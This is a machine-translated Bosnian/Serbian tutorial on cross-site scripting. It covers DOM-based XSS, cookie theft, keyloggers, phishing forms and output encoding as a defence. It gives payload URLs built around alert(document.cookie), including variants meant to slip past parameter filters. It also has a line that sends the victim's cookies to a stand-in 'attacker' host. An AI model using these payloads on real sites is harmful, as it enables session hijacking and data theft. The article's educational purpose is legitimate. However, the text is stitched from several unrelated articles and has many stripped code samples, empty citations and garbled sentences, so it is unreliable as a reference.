Xss injekcije. XSS napadi: šta su i zašto su opasni

Svi znamo šta je cross-site skriptiranje, zar ne? Ovo je ranjivost u kojoj napadač šalje zlonamjerne podatke (obično HTML koji sadrži Javascript kod) koje kasnije vraća aplikacija, uzrokujući izvršavanje Javascript koda. Dakle, ovo nije istina! Postoji tip XSS napada koji se ne uklapa u ovu definiciju, barem u svojim osnovnim osnovnim principima. XSS napadi, kako je gore definisano, dijele se na trenutne (zlonamjerni podaci se ugrađuju u stranicu koja se vraća pretraživaču odmah nakon zahtjeva) i odložene (zlonamjerni podaci se vraćaju nakon nekog vremena). Ali postoji i treći tip XSS napada, koji se ne zasniva na slanju zlonamernih podataka na server. Iako se čini kontraintuitivnim, postoje dva dobro dokumentirana primjera takvog napada. Ovaj članak opisuje treću vrstu XSS napada - XSS kroz DOM (DOM Based XSS). Ništa suštinski novo o napadu neće biti napisano ovde, već je u isticanju inovativnosti ovog materijala karakteristične karakteristike napadi koji su veoma važni i zanimljivi.

Programeri i korisnici aplikacija moraju razumjeti principe XSS napada putem DOM-a, jer on predstavlja prijetnju web aplikacijama i razlikuje se od običnog XSS-a. Na Internetu postoji mnogo web aplikacija koje su ranjive na XSS preko DOM-a, a istovremeno su testirane na XSS i utvrđene kao „neranjive“ na ovu vrstu napada. Programeri i administratori sajtova bi trebalo da se upoznaju sa tehnikama za otkrivanje i zaštitu od XSS-a preko DOM-a, pošto se ove tehnike razlikuju od tehnika koje se koriste za rešavanje standardnih XSS ranjivosti.

Čitalac treba da bude upoznat sa osnovnim principima XSS napada (, , , , ). XSS se obično odnosi na instant() i lijeno skriptovanje na više lokacija. Sa instant XSS, zlonamjerni kod (Javascript) se vraća od strane napadnutih servera odmah kao odgovor na HTTP zahtjev. Odloženi XSS znači da se zlonamjerni kod pohranjuje na napadnuti sistem i da se kasnije može ubaciti u njega HTML stranica ranjiv sistem. Kao što je gore pomenuto, ova klasifikacija pretpostavlja da je osnovno svojstvo XSS-a da se zlonamerni kod šalje iz pretraživača na server i vraća u isti pretraživač (flash XSS) ili bilo koji drugi pretraživač (odloženi XSS). Ovaj članak pokreće pitanje da je ovo pogrešna klasifikacija. Mogućnost izvođenja XSS napada koji se ne oslanja na ubacivanje koda u stranicu koju vraća server imala bi veliki utjecaj na sigurnost i tehnike otkrivanja. Principi takvih napada su razmatrani u ovom članku.

Prije nego što opišemo najjednostavniji scenarij napada, važno je naglasiti da su ovdje opisane metode već nekoliko puta javno demonstrirane (na primjer, , i ). Ne tvrdim da su metode u nastavku opisane po prvi put (iako se neke od njih razlikuju od prethodno objavljenih materijala).

Znak ranjivog sajta može biti prisustvo HTML stranice koja koristi podatke iz document.location, document.URL ili document.referrer (ili bilo koje druge objekte na koje napadač može uticati) na nesiguran način.

Napomena za čitaoce koji nisu upoznati sa ovim Javascript objektima: Kada se Javascript kod pokreće u pretraživaču, pristupa nekoliko objekata predstavljenih unutar DOM-a (Document Object Model). Objekt dokumenta je glavni od ovih objekata i omogućava pristup većini svojstava stranice. Ovaj objekt sadrži mnogo ugniježđenih objekata kao što su lokacija, URL i upućivač. Kontroliše ih pretraživač prema gledištu pretraživača (kao što će se videti u nastavku, ovo je prilično značajno). Dakle, document.URL i document.location sadrže URL stranice, tačnije šta pretraživač podrazumijeva pod URL-om. Imajte na umu da ovi objekti nisu uzeti iz tijela HTML stranice. Objekt dokumenta sadrži tijelo objekta koji sadrži raščlanjeni HTML kod stranice.

Nije teško pronaći HTML stranicu koja sadrži Javascript kod koji analizira URL string (koji se pristupa preko document.URL ili document.location) i, ​​prema svojoj vrijednosti, izvodi neke radnje na strani klijenta. Ispod je primjer takvog koda.

Po analogiji s primjerom u, razmotrite sljedeću HTML stranicu (pod pretpostavkom da je sadržaj http://www.vulnerable.site/welcome.html):

Dobrodošli! Zdravo var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
Dobrodošli u naš sistem…

Međutim, ovakav upit -

http://www.vulnerable.site/welcome.html?name=alert(document.cookie)

bi izazvalo XSS. Pogledajmo zašto: pretraživač žrtve, nakon što je primio ovu vezu, šalje HTTP zahtjev na www.vulnerable.site i prima gore pomenutu (statičnu!) HTML stranicu. Pregledač žrtve počinje da analizira ovaj HTML kod. DOM sadrži objekt dokumenta koji ima URL polje i ovo polje je popunjeno URL vrijednost trenutnu stranicu tokom procesa kreiranja DOM-a. Kada parser dođe do Javascript koda, on ga izvršava, što uzrokuje modifikaciju HTML koda prikazane stranice. IN u ovom slučaju, kod upućuje na document.URL i pošto je dio ovog stringa ugrađen u HTML tokom raščlanjivanja, koji se odmah analizira, otkriveni kod (alert(...)) se izvršava u kontekstu iste stranice.

napomene:

1. Zlonamjerni kod nije ugrađen u HTML stranicu (za razliku od drugih tipova XSS-a).
2. Ovaj eksploat će raditi pod uslovom da pretraživač ne modifikuje URL znakove. Mozilla automatski kodira '' znakove (u %3C i %3E respektivno) u ugniježđenim objektima dokumenta. Ako je URL upisan direktno u adresnu traku, ovaj pretraživač nije ranjiv na napad opisan u ovom primjeru. Međutim, ako napad ne zahtijeva znakove '' (u izvornom nekodiranom obliku), napad se može izvesti. Microsoft Internet Explorer 6.0 ne kodira '' i stoga je ranjiv na opisani napad bez ikakvih ograničenja. Međutim, postoji mnogo različitih scenarija napada koji ne zahtijevaju '', pa stoga ni Mozilla nije imuna na ovaj napad.

U gornjem primjeru, zlonamjerni kod se i dalje šalje na server (kao dio HTTP zahtjeva), tako da se napad može otkriti kao i svaki drugi XSS napad. Ali ovo je rješiv problem.

Razmotrite sljedeći primjer:

http://www.vulnerable.site/welcome.html#name=alert(document.cookie)

Obratite pažnju na simbol '#' desno od naziva datoteke. Kaže pretraživaču da sve nakon ovog znaka nije dio zahtjeva. Microsoft Internet Explorer (6.0) i Mozilla ne šalju fragment nakon znaka '#' serveru, tako da će za server ovaj zahtjev biti ekvivalentan http://www.vulnerable.site/welcome.html, tj. zlonamjerni kod server neće ni primijetiti. Dakle, zahvaljujući ovoj tehnici, pretraživač ne šalje zlonamerno opterećenje na server.

Međutim, u nekim slučajevima nije moguće sakriti korisni teret: in i zlonamjerni korisni teret je dio korisničkog imena u URL-u kao što je http://username@host/. U ovom slučaju, pretraživač šalje zahtjev sa autorizacijskim zaglavljem koje sadrži korisničko ime (zlonamjerno opterećenje), što rezultira zlonamjernim kodom koji stiže do servera (kodirano Base64 - stoga IDS/IPS prvo mora dekodirati ove podatke da bi otkrio napad). Međutim, od servera se ne traži da ubaci ovaj korisni teret u jednu od dostupnih HTML stranica, iako je to neophodan uslov za izvođenje XSS napada.

Očigledno, u situacijama kada se teret može potpuno sakriti, alati za otkrivanje (IPS) i prevenciju (IPS, zaštitni zidovi web aplikacija) ne mogu u potpunosti zaštititi od ovog napada. Čak i ako je potrebno opterećenje poslati na server, u mnogim slučajevima se može transformirati na određeni način kako bi se izbjeglo otkrivanje. Na primjer, ako je neki parametar zaštićen (na primjer, parametar imena u primjeru iznad), mala promjena u skripti napada može proizvesti sljedeći rezultat:

(document.cookie)

Strožija sigurnosna politika zahtijevala bi da se pošalje parametar name. U tom slučaju možete uputiti sljedeći zahtjev:

http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe

Ako vaša sigurnosna politika ograničava dodatne nazive parametara (na primjer: foobar), možete koristiti sljedeću opciju:

http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe

Imajte na umu da zanemareni parametar (foobar) mora biti prvi i u svojoj vrijednosti sadržavati korisni teret.

Scenario napada opisan u je još poželjniji za napadača, jer je puna vrijednost document.location upisana u HTML stranicu (Javascript kod ne traži određeni naziv parametra). Dakle, napadač bi mogao u potpunosti sakriti korisni teret slanjem sljedećeg:

/attachment.cgi?id=&action=foobar#alert(document.cookie)

Čak i ako server analizira korisni teret, zaštita može biti zajamčena samo ako je zahtjev odbijen ili je odgovor zamijenjen nekim tekstom greške. Ponovo se pozivajući na i: ako posredni sigurnosni sistem jednostavno ukloni zaglavlje autorizacije, neće imati efekta ako se vrati originalna stranica. Isto tako, svaki pokušaj obrade podataka na serveru uklanjanjem ili kodiranjem nedozvoljenih znakova će biti neučinkovit protiv ovog napada.

U slučaju document.referrer, korisni teret se šalje na server preko Referer zaglavlja. Međutim, ako korisnikov pretraživač ili posredna zaštita uklone ovo zaglavlje, neće biti traga od napada, koji može proći potpuno neotkriven.

Da sumiramo, zaključujemo da tradicionalne metode, tj

1. Kodiranje HTML podaci strani servera
2. Uklanjanje/kodiranje zabranjenih ulaza na strani servera ne radi protiv DOM XSS.

Automatsko traženje ranjivosti "bombardiranjem" zlonamjernih podataka (ponekad se naziva fuzzing) neće raditi, jer programi koji koriste ovu tehniku ​​obično donose zaključke na osnovu toga da li su ugrađeni podaci prisutni na vraćenoj stranici ili ne (umjesto izvršavanja koda u kontekstu pretraživača na strani klijenta i praćenje rezultata). Međutim, ako program može statički analizirati Javascript kod koji se nalazi na stranici, može ukazivati ​​na sumnjive znakove (pogledajte dolje). I naravno, ako sigurnosni alati mogu izvršiti Javascript kod (i ispravno inicijalizirati DOM objekte) ili emulirati takvo izvršenje, moći će otkriti ovaj napad.

Ručno traženje ranjivosti pomoću pretraživača će takođe raditi, pošto pretraživač može da izvrši Javascript kod na strani klijenta. Alati za ranjivost mogu usvojiti ovu metodu i pokrenuti kod na strani klijenta za praćenje rezultata njegovog izvršavanja.
Efikasna zaštita

Izbjegavajte prepisivanje dokumenata na strani klijenta, preusmjeravanja ili druge slične radnje koje koriste podatke na strani klijenta. Većina ovih radnji se može obaviti pomoću dinamičkih stranica (na strani servera).
2.

Analiza i poboljšanje sigurnosti koda (Javascript) na strani klijenta. Reference na DOM objekte na koje može utjecati korisnik (napadač) moraju se pažljivo provjeriti. Posebnu pažnju treba obratiti na sljedeće objekte (ali ne ograničavajući se na njih):
* document.URL
* document.URLUnecoded
* document.location (i njegova svojstva)
* document.referrer
* window.location (i njegova svojstva)

Imajte na umu da se svojstva dokumenta i objekata prozora mogu referencirati na nekoliko načina: eksplicitno (primjer: window.location), implicitno (primjer: lokacija) ili dobivanjem ručke i korištenjem (primjer: handle_to_some_window.location).

Posebnu pažnju treba posvetiti kodu gdje se DOM mijenja, eksplicitno ili potencijalno, putem direktnog pristupa HTML-u ili putem direktnog pristupa DOM-u. Primjeri (ovo nikako nije potpuna lista):
* Unos u HTML kod stranice:
o document.write(…)
o document.writeln(…)
o document.body.innerHtml=…
* Direktna promjena DOM-a (uključujući DHTML događaje):
o document.forms.action=... (i druge varijacije)
o document.attachEvent(…)
o document.create…(…)
o document.execCommand(…)
o dokument.tijelo. ... (pristup DOM-u preko body objekta)
o window.attachEvent(…)
* Promjena URL-a dokumenta:
o document.location=… (kao i dodjeljivanje vrijednosti href, host i hostname objektu lokacije)
o document.location.hostname=…
o document.location.replace(…)
o document.location.assign(…)
o document.URL=…
o window.navigate(…)
* Otvaranje/izmjena objekta prozora:
o document.open(…)
o window.open(…)
o window.location.href=… (kao i dodeljivanje vrednosti hosta i imena hosta objektu lokacije)
* Direktno izvršavanje skripte:
o eval(…)
o window.execScript(…)
o window.setInterval(…)
o window.setTimeout(…)

Svi već odavno znaju šta je XSS i kako se od njega zaštititi, pa ću biti kratak. XSS je sposobnost napadača da to učini na određeni način (link na moguće opcije pogledajte kraj članka) integrirajte skriptu u stranicu žrtvenog mjesta, koja će se izvršiti kada se posjeti.

Zanimljivo, u većini slučajeva gdje je ova ranjivost opisana, plaši nas sljedeći kod:

Nekako nije strašno :) Kako ova ranjivost zaista može biti opasna?

Postoje dvije vrste XSS ranjivosti - pasivne i aktivne.

Aktivna ranjivost je opasnije, jer napadač ne treba da namami žrtvu pomoću posebnog linka, samo treba da ubaci kod u bazu podataka ili neki fajl na serveru. Tako svi posjetioci stranice automatski postaju žrtve. Može se integrirati, na primjer, korištenjem SQL injekcije. Stoga ne biste trebali vjerovati podacima pohranjenim u bazi podataka, čak i ako su obrađeni tokom umetanja.

Primjer pasivna ranjivost To možete vidjeti na samom početku članka. Ovo već zahtijeva društveni inženjering, na primjer, važno pismo administracije stranice u kojem se od vas traži da provjerite postavke računa nakon vraćanja iz sigurnosne kopije. Shodno tome, morate znati adresu žrtve ili jednostavno dogovoriti slanje neželjene pošte ili objavu na nekom forumu, a nije činjenica da će žrtve biti naivne i pratiti vaš link.

Štaviše, i POST i GET parametri mogu biti podložni pasivnoj ranjivosti. Sa POST parametrima, naravno, morat ćete pribjeći trikovima. Na primjer, preusmjeravanje s web stranice napadača.

Stoga je GET ranjivost malo opasnija, jer... žrtvi je lakše uočiti netačan domen nego dodatni parametar(iako se url generalno može kodirati).

Ovo je najčešće citirani primjer XSS napada. Web stranice ponekad pohranjuju neke vrijedne informacije u kolačiće (ponekad čak i korisničko ime i lozinku (ili njihov hash)), ali najopasnija stvar je krađa aktivne sesije, stoga ne zaboravite kliknuti na link “Izlaz” na web stranicama, čak i ako ovo kućni računar. Srećom, na većini resursa životni vijek sesije je ograničen.

Zbog toga su uveli ograničenja domena na XMLHttpRequest, ali to nije problem za napadača, jer postoji, , , background:url(); itd.

Tražimo obrazac kroz, na primjer, getElementById i pratimo događaj onsubmit. Sada, prije slanja obrasca, uneseni podaci se šalju i na server napadača.

Ova vrsta napada donekle podsjeća na phishing, samo što koristi pravu stranicu, a ne lažnu, što ulijeva više povjerenja žrtvi.

XSS ranjivost na jako posjećenim resursima može se koristiti za pokretanje DDoS napada. Suština je jednostavna - postoji mnogo zahtjeva koje napadnuti server ne može izdržati.
Zapravo, odnos prema XSS-u je indirektan, budući da se skripte uopće ne mogu koristiti, dovoljna je konstrukcija poput ove:

Takođe indirektno povezan sa XSS. Ovo je zapravo zasebna vrsta ranjivosti, ali se često koristi u kombinaciji sa XSS-om. Suština je da korisnik ovlašten na neranjivom mjestu odlazi na ranjivu (ili posebnu stranicu napadača), s koje se šalje zahtjev za obavljanje određenih radnji.

Grubo govoreći, idealno bi trebalo da bude tako. Korisnik se prijavio na platni sistem. Zatim sam otišao na web stranicu napadača ili na stranicu sa XSS ranjivosti, s koje je poslat zahtjev za transfer novca na račun napadača.

Stoga većina web-mjesta, prilikom izvođenja određenih radnji korisnika (na primjer, promjena e-pošte), traži lozinku ili od vas traži da unesete potvrdni kod.

Ova vrsta napada vjerovatno se pojavila zahvaljujući društvenim mrežama kao što su VKontakte i Twitter. Poenta je da se link sa XSS ranjivosti šalje nekolicini korisnika društvene mreže kada kliknu na link, integrisana skripta šalje poruke drugim korisnicima u njihovo ime, itd. Istovremeno se mogu izvršiti i druge radnje, na primjer, slanje ličnih podataka žrtava napadaču.

Zanimljivo je da su brojači, po svojoj prirodi, takođe aktivni XSS napad neke vrste. Na kraju krajeva, podaci o posjetiocu se prenose na server treće strane, kao što su njegova IP adresa, rezolucija monitora itd. Samo vi svojom voljom integrišete kod u svoju stranicu :) Pogledajte, na primjer, Google Analytic kod.

I sveobuhvatan je tutorijal o skriptiranju na više lokacija.

Skriptiranje na više lokacija ( engleski Cross-site scripting) je napad ubrizgavanjem koda koji omogućava napadaču da izvrši zlonamjerni JavaScript u pretraživaču drugog korisnika.

Napadač ne napada direktno svoju žrtvu. Umjesto toga, iskorištava ranjivost na web stranici koju žrtva posjećuje i ubacuje zlonamjerni JavaScript kod. U pretraživaču žrtve, zlonamjerni JavaScript se pojavljuje kao legitimni dio web stranice, a sama web stranica djeluje kao direktni saučesnik napadaču.

Jedini način da napadač pokrene zlonamjerni JavaScript u pretraživaču žrtve je da ga ubaci u jednu od stranica koje žrtva učitava sa web stranice. To je moguće ako web stranica dozvoljava korisnicima da unose podatke na svoje stranice, a napadač može umetnuti niz koji će biti otkriven kao dio koda u pretraživaču žrtve.

Primjer ispod prikazuje jednostavnu skriptu na strani servera koja se koristi za prikaz najnovijeg komentara na web lokaciji:

ispiši ""
print "Posljednji komentar:"
print database.latestComment
ispiši ""

Skripta pretpostavlja da se komentar sastoji samo od teksta. Međutim, pošto je direktni korisnički unos omogućen, napadač može ostaviti ovaj komentar: "..." . Svaki korisnik koji posjeti stranicu sada će dobiti sljedeći odgovor:

zadnji komentar:
...

Kada korisnikov pretraživač učita stranicu, on će izvršiti sve, uključujući JavaScript kod sadržan u . Napadač je uspješno izveo napad.

Mogućnost izvršavanja JavaScripta u pretraživaču žrtve možda ne izgleda posebno zlonamjerno. JavaScript radi u vrlo ograničenom okruženju koje ima izuzetno ograničen pristup na korisničke fajlove i operativni sistem. U stvari, možete odmah otvoriti JavaScript konzolu u svom pretraživaču i izvršiti bilo koji JavaScript koji želite, i vrlo je malo vjerovatno da ćete moći nanijeti bilo kakvu štetu svom računaru.

Međutim, potencijal da JavaScript kod djeluje kao zlonamjerni kod postaje jasniji kada uzmete u obzir sljedeće činjenice:

• JavaScript ima pristup nekima povjerljive informacije korisnik, na primjer kolačići.
• JavaScript može poslati HTTP zahtjeve sa proizvoljnim sadržajem u bilo kojem smjeru koristeći XMLHttpRequest i druge mehanizme.
• JavaScript može napraviti proizvoljne promjene u HTML kodu trenutne stranice koristeći tehnike DOM manipulacije.

Ako se kombiniraju, ove činjenice mogu uzrokovati vrlo ozbiljne povrede sigurnosti, detalji koji slijede.

Osim toga, mogućnost izvršavanja proizvoljnog JavaScripta u pretraživaču drugog korisnika omogućava napadaču da izvrši sljedeće vrste napada:

Krađa kolačića

napadač može pristupiti kolačićima koji se odnose na žrtvinu web stranicu koristeći document.cookie , poslati ih na njihov vlastiti server i koristite ih za izdvajanje osjetljivih informacija kao što su ID-ovi sesije.

Keylogger

Napadač bi mogao registrovati slušaoca događaja na tastaturi koristeći addEventListener, a zatim poslati sve korisnikove pritiske tipki na njihov server, potencijalno snimajući osjetljive informacije kao što su lozinke i brojevi kreditnih kartica.

Phishing

napadač bi mogao umetnuti lažni obrazac za prijavu na stranicu koristeći DOM manipulaciju, postavljajući atribute radnje obrasca na vlastiti server, a zatim prevariti korisnika da dobije osjetljive informacije.

Iako se ovi napadi značajno razlikuju, svi imaju jednu značajnu sličnost: budući da napadač ubacuje kod na stranicu koju poslužuje web stranica, zlonamjerni JavaScript se izvršava u kontekstu te web stranice. To znači da se tretira kao svaka druga skripta sa te stranice: ima pristup podacima žrtve za tu web stranicu (kao što su kolačići) i ime hosta prikazano u URL traci će biti isto kao i web stranica. Za sve svrhe, skripta se smatra legalnim dijelom web stranice, omogućavajući joj da radi sve što sama web stranica može.

Ova činjenica naglašava ključno pitanje:

Ako napadač može koristiti vašu web stranicu za izvršavanje proizvoljnog JavaScript koda u pretraživačima drugih korisnika, ugrožena je sigurnost vaše web stranice i njenih korisnika.

Da bismo naglasili ovu stvar, neki primjeri zlonamjernih skripti u ovom vodiču će ostati bez detalja, koristeći.... Ovo sugerira da je problem samo prisustvo skripte koju napadač ubacuje, bez obzira na to koji se specifični kod skripte zapravo izvršava.

Prije nego što detaljno opišemo kako XSS napad funkcionira, moramo definirati aktere uključene u XSS napad. Generalno, postoje tri strane u XSS napadu: web stranica, žrtva i napadač.

• Web stranica pruža HTML stranice korisnicima koji ih zatraže. U našim primjerima nalazi se na http://website/.
  • Baza podataka web stranica je baza podataka koja pohranjuje neke od podataka koje su korisnici unijeli na stranicama stranice.
• Žrtva jeste redovni korisnik web stranicu koja od nje traži stranice koristeći svoj pretraživač.
• Napadač je napadač koji namjerava pokrenuti napad na žrtvu iskorištavanjem XSS ranjivosti na web stranici.
  • Server napadača je web server koji kontrolira napadač s jedinom svrhom krađe povjerljivih informacija žrtve. U našim primjerima, nalazi se na http://attacker/.

window.location="http://attacker/?cookie="+document.cookie

Ova skripta će kreirati HTTP zahtjev za drugi URL, koji će preusmjeriti pretraživač korisnika na server napadača. URL uključuje kolačiće žrtve kao parametar zahtjeva, kada HTTP zahtjev dođe na server napadača, napadač može izdvojiti ove kolačiće iz zahtjeva. Nakon što napadač primi kolačiće, može ih koristiti za lažno predstavljanje žrtve i pokretanje naknadnog napada.

Od sada će se gore prikazani HTML kod nazivati ​​zlonamjerni niz ili zlonamjerna skripta. Važno je shvatiti da je niz sam po sebi zlonamjeran samo ako se na kraju prikaže kao HTML u pretraživaču žrtve, a to se može dogoditi samo ako postoji XSS ranjivost na web stranici.

Dijagram ispod prikazuje primjer napada od strane napadača:

Cilj XSS napada je uvek da se izvrši zlonamerna JavaScript skripta u pretraživaču žrtve. Postoji nekoliko fundamentalno različitih načina za postizanje ovog cilja. XSS napadi se često dijele u tri tipa:

• Pohranjeni (trajni) XSS, gdje zlonamjerni niz potiče iz baze podataka web stranice.
• Odraženi (ne-trajni) XSS, gdje se zlonamjerni niz generira iz zahtjeva žrtve.
• XSS DOM-ovi, gdje se ranjivost javlja u kodu na strani klijenta, a ne u kodu na strani servera.

Prethodni primjer prikazuje pohranjeni XSS napad. Sada ćemo opisati još dva tipa XSS napada: reflektovani XSS i DOM XSS napadi.

U reflektovanom XSS napadu, zlonamjerni niz je dio zahtjeva žrtve upućene web stranici. Stranica prihvata i ubacuje ovaj zlonamjerni niz u odgovor koji se šalje nazad korisniku. Dijagram ispod ilustruje ovaj scenario:

Kako uspješno izvesti reflektirani XSS napad?

Odraženi XSS napad može izgledati bezopasno jer zahtijeva od žrtve da pošalje zahtjev u njihovo ime koji sadrži zlonamjerni niz. Pošto niko ne bi dobrovoljno napao sam sebe, čini se da ne postoji način da se napad zaista izvede.

Kako se ispostavilo, postoje najmanje dva uobičajena načina da navedete žrtvu da pokrene reflektirani XSS napad na sebe:

• Ako je korisnik određena osoba, napadač bi mogao poslati zlonamjerni URL žrtvi (na primjer, koristeći email ili messenger) i prevarite ga da otvori vezu za posjet web stranici.
• Ako je meta velika grupa korisnika, napadač bi mogao postaviti link na zlonamjerni URL (na primjer, na vlastitu web stranicu ili društvena mreža) i pričekajte da posjetitelji slijede link.

Obje ove metode su slične, a obje mogu biti uspješnije korištenjem usluga skraćivanja URL-a koje će maskirati zlonamjerni niz od korisnika koji bi ga mogli identificirati.

XSS u DOM-u je varijanta i pohranjenih i reflektiranih XSS napada. U ovom XSS napadu, žrtvin pretraživač ne obrađuje zlonamjerni niz sve dok se stvarni JavaScript web stranice ne izvrši. Dijagram ispod ilustruje ovaj scenario za reflektovani XSS napad:

U prethodnim primjerima pohranjenih i reflektiranih XSS napada, server ubacuje zlonamjernu skriptu u stranicu, koja se zatim prosljeđuje kao odgovor žrtvi. Kada pretraživač žrtve primi odgovor, pretpostavlja da je zlonamjerna skripta dio legitimnog sadržaja stranice i automatski je izvršava dok se stranica učitava, kao i svaka druga skripta.

U primjeru XSS napada u DOM-u, zlonamjerna skripta nije umetnuta kao dio stranice; jedina skripta koja se automatski izvršava kada se stranica učita je legitimni dio stranice. Problem je u tome što ova legitimna skripta direktno koristi korisnički unos za dodavanje HTML-a na stranicu. Budući da je zlonamjerni niz umetnut u stranicu pomoću innerHTML , on se analizira kao HTML, uzrokujući izvršavanje zlonamjerne skripte.

Ova razlika je mala, ali veoma bitna:

• U tradicionalnom XSS-u, zlonamjerni JavaScript se izvršava kada se stranica učita, kao dio HTML-a koji šalje server.
• U slučaju XSS-a u DOM-u, zlonamjerni JavaScript se izvršava nakon što se stranica učita, što uzrokuje da legitimna JavaScript stranica pristupi korisničkom unosu (koji sadrži zlonamjerni niz) na nesiguran način.

U prethodnom primjeru nema potrebe za JavaScriptom; server može sam generirati sav HTML. Ako kod na strani servera ne sadrži ranjivosti, web stranica ne bi bila podložna XSS ranjivosti.

Međutim, kako web aplikacije postaju naprednije, sve više i više HTML stranica se generiše pomoću JavaScripta na strani klijenta, a ne na serveru. U svakom trenutku bi se sadržaj trebao promijeniti bez osvježavanja cijele stranice, to je moguće pomoću JavaScripta. Konkretno, ovo je slučaj kada se stranica osvježi nakon AJAX zahtjeva.

To znači da XSS ranjivosti mogu biti prisutne ne samo u kodu na strani servera vaše stranice, već i na JavaScript kodu na strani klijenta vaše stranice. Stoga, čak i sa potpuno sigurnim kodom na strani servera, klijentski kod možda i dalje neće sigurno uključiti korisnički unos prilikom ažuriranja DOM-a nakon što se stranica učita. Ako se to dogodi, kod na strani klijenta će dozvoliti da se XSS napad dogodi bez greške koda na strani servera.

Postoji poseban slučaj XSS napada u DOM-u u kojem se zlonamjerni niz nikada ne šalje serveru web stranice: to se događa kada je zlonamjerni niz sadržan u identifikatorskom dijelu URL-a (bilo što nakon simbola #). Preglednici ne šalju ovaj dio URL-a serveru, tako da mu web stranica ne može pristupiti pomoću koda na strani servera. Kod klijenta, međutim, ima pristup njemu, pa je moguće izvršiti XSS napad kroz nesigurnu obradu.

Ovaj slučaj nije ograničen na ID fragmenta. Postoji i drugi korisnički unos koji je nevidljiv serveru, kao što su nove HTML5 funkcije kao što su LocalStorage i IndexedDB.

Podsjetimo da je XSS napad ubrizgavanjem koda: korisnički unos se pogrešno tumači kao zlonamjeran. programski kod. Da biste spriječili ovu vrstu ubacivanja koda, potrebno je sigurno rukovanje unosom. Za web programera postoje dva u osnovi različite načine izvrši sigurnu obradu unosa:

• Kodiranje je metoda koja dozvoljava korisniku unos samo kao podatke i ne dozvoljava pretraživaču da ih obradi kao kod.
• Validacija je način filtriranja korisničkog unosa tako da ga pretraživač tumači kao kod bez zlonamjernih naredbi.

Iako su ovo fundamentalno različite metode ublažavanja XSS-a, one imaju nekoliko zajedničkih karakteristika koje je važno razumjeti kada koristite bilo koju od njih:

Kontekst Rukovanje bezbednim unosom mora se obavljati drugačije u zavisnosti od toga gde se na stranici koristi korisnički unos.

ulazni/odlazni Sigurna obrada unosa može se obaviti ili kada vaša stranica primi ulaz (ulazni promet) ili neposredno prije nego što stranica umetne korisnički unos u sadržaj stranice (izlazni).

Postoji mnogo konteksta na web stranici u kojima se može primijeniti korisnički unos. Za svaki od njih moraju se poštovati posebna pravila kako bi se osiguralo da korisnički unos ne može pobjeći iz konteksta i da se ne može protumačiti kao zlonamjerni kod. Sljedeći su najčešći konteksti:

U svim opisanim kontekstima, XSS ranjivost bi se mogla pojaviti ako je korisnički unos umetnut prije prvog kodiranja ili provjere valjanosti. Napadač može ubaciti zlonamjerni kod jednostavnim umetanjem zatvarača za ovaj kontekst nakon kojeg slijedi zlonamjerni kod.

Na primjer, ako u nekom trenutku web stranica uključuje direktan unos korisnika HTML atribut, napadač bi mogao ubaciti zlonamjernu skriptu započinjući svoj unos citatom, kao što je prikazano u nastavku:

To bi se moglo spriječiti jednostavnim uklanjanjem svih navodnika u korisničkom unosu i sve bi bilo u redu, ali samo u ovom kontekstu. Ako je unos umetnut u drugi kontekst, završni graničnik će biti drugačiji i ubacivanje će biti moguće. Iz tog razloga, sigurno rukovanje unosom uvijek treba biti prilagođeno kontekstu u koji će korisnički unos biti umetnut.

Instinktivno bi se činilo da se XSS može spriječiti kodiranjem ili provjeravanjem svih korisničkih unosa čim ga naša stranica primi. Na ovaj način, svi zlonamjerni nizovi će već biti neutralizirani kad god su uključeni na stranicu, a skripte za generiranje HTML-a neće morati brinuti o sigurnom rukovanju korisničkim unosom.

Problem je u tome što, kao što je ranije opisano, korisnički unos može biti umetnut u više konteksta na stranici. I ne jednostavan način odrediti kada korisnički unos stiže u kontekst - kako će na kraju biti umetnut, a isti korisnički unos često treba umetnuti u različite kontekste. Oslanjajući se na obradu dolaznog unosa kako bismo spriječili XSS, stvaramo vrlo krhko rješenje koje će biti sklono greškama. (Naslijeđeni PHP "magični citati" su primjer takvog rješenja.)

Umjesto toga, obrada odlaznog unosa trebala bi biti vaša primarna linija odbrane od XSS-a jer može uzeti u obzir specifičan kontekst unosa korisnika koji će biti umetnuti. U određenoj mjeri, ulazna validacija se može koristiti za dodavanje sekundarnog sloja sigurnosti, ali o tome kasnije.

U većini modernih web aplikacija, korisnički unos se obrađuje i na strani servera i na strani klijenta. Da bi se zaštitili od svih tipova XSS-a, sigurno rukovanje unosom mora biti obavljeno u kodu na strani servera i na strani klijenta.

• Da bi se zaštitili od tradicionalnog XSS-a, sigurno rukovanje unosom mora se obaviti u kodu na strani servera. Ovo se radi pomoću nekog jezika koji server podržava.
• Kako bi se zaštitili od XSS napada u DOM-u, gdje server nikada ne prima zlonamjerni niz (kao što je napad fragmenta identifikatora opisan ranije), sigurno rukovanje unosom mora se obaviti u kodu na strani klijenta. Ovo se radi pomoću JavaScript-a.

Sada kada smo objasnili zašto je kontekst važan, zašto je važna razlika između dolazne i odlazne obrade i zašto se sigurna obrada unosa mora obaviti na obje strane, na strani klijenta i na strani servera, možemo nastaviti da objašnjavamo kako to dvoje vrste sigurne obrade ulaza (kodiranje i validacija) se zapravo izvode.

Kodiranje je izlaz iz situacije u kojoj je neophodno da pretraživač tumači korisnički unos samo kao podatke, a ne kao kod. Najpopularniji tip kodiranja u web razvoju je HTML maskiranje, koje pretvara znakove kao npr< и >V< и >respektivno.

Sljedeći pseudokod je primjer kako se korisnički unos (korisnički unos) može kodirati sa koristeći HTML maskiranje, a zatim umetnuto na stranicu pomoću serverske skripte:

ispiši ""
print "Posljednji komentar: "
print encodeHtml(userInput)
ispiši ""

Ako korisnik unese sljedeći red..., rezultirajući HTML će izgledati ovako:

zadnji komentar:
...

Jer svi simboli jesu posebno značenje bili maskirani, pretraživač neće analizirati nijedan dio korisničkog unosa kao što je HTML.

Prilikom izvođenja kodiranja na strani klijenta uvijek se koristi JavaScript, koji ima ugrađene funkcije koje kodiraju podatke za različite kontekste.

Kada radite kodiranje u kodu na strani servera, oslanjate se na funkcije dostupne u vašem jeziku ili okviru. Zbog velika količina dostupnim jezicima i okvirima, ovaj vodič neće pokriti detalje kodiranja u bilo kojem specifičnom serverskom jeziku ili okviru. Međutim, JavaScript funkcije kodiranja koje se koriste na strani klijenta također se koriste prilikom pisanja koda na strani servera.

